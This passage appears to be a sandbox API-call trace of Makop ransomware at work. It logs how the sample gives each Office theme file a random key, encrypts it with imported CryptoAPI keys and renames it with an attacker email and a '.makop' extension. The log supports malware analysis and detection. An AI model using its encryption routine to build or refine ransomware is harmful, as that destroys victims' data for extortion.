[0097.601] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.601] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0097.601] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM") returned 67 [0097.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.603] GetProcessHeap () returned 0x48a0000 [0097.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.603] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.603] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.603] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.603] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.603] GetProcessHeap () returned 0x48a0000 [0097.603] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.603] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.603] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.603] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.608] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.608] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.608] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.609] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.609] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.609] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.609] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x109d0, lpOverlapped=0x0) returned 1 [0097.611] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x109d0, dwBufLen=0x109d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x109d0) returned 1 [0097.612] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.612] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x109d0, lpOverlapped=0x0) returned 1 [0097.613] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.613] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x10a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.613] SetEndOfFile (hFile=0x138) returned 1 [0097.623] GetProcessHeap () returned 0x48a0000 [0097.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.623] GetProcessHeap () returned 0x48a0000 [0097.623] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.623] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0097.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.624] CloseHandle (hObject=0x138) returned 1 [0097.625] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0097.625] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF") returned 67 [0097.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.625] GetProcessHeap () returned 0x48a0000 [0097.625] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.625] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.626] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.630] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.630] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.630] GetProcessHeap () returned 0x48a0000 [0097.630] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.630] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.630] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.630] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.630] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.630] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.631] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.631] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.631] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.631] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.631] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.631] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.631] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1ad, lpOverlapped=0x0) returned 1 [0097.632] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b0) returned 1 [0097.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.632] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1b0, lpOverlapped=0x0) returned 1 [0097.632] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.632] SetEndOfFile (hFile=0x138) returned 1 [0097.640] GetProcessHeap () returned 0x48a0000 [0097.640] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.640] GetProcessHeap () returned 0x48a0000 [0097.640] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.640] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0097.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.649] CloseHandle (hObject=0x138) returned 1 [0097.649] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.649] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0097.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.650] GetProcessHeap () returned 0x48a0000 [0097.650] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.650] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.650] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.650] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.654] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.654] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.654] GetProcessHeap () returned 0x48a0000 [0097.654] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.654] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.655] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.655] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.655] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.655] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.655] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.655] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.656] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x9f8, lpOverlapped=0x0) returned 1 [0097.656] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa00, dwBufLen=0xa00 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa00) returned 1 [0097.656] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.656] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa00, lpOverlapped=0x0) returned 1 [0097.656] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.656] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.656] SetEndOfFile (hFile=0x138) returned 1 [0097.662] GetProcessHeap () returned 0x48a0000 [0097.662] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.662] GetProcessHeap () returned 0x48a0000 [0097.662] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.662] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0097.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.663] CloseHandle (hObject=0x138) returned 1 [0097.664] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.664] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0097.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.664] GetProcessHeap () returned 0x48a0000 [0097.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.664] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.664] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0097.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.669] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.669] GetProcessHeap () returned 0x48a0000 [0097.669] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.669] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.669] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.669] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.669] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.669] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.669] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.669] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.670] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.670] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.670] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.670] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.670] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4981, lpOverlapped=0x0) returned 1 [0097.671] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4990, dwBufLen=0x4990 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4990) returned 1 [0097.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.672] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4990, lpOverlapped=0x0) returned 1 [0097.672] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.672] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.672] SetEndOfFile (hFile=0x138) returned 1 [0097.679] GetProcessHeap () returned 0x48a0000 [0097.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.679] GetProcessHeap () returned 0x48a0000 [0097.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.679] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft 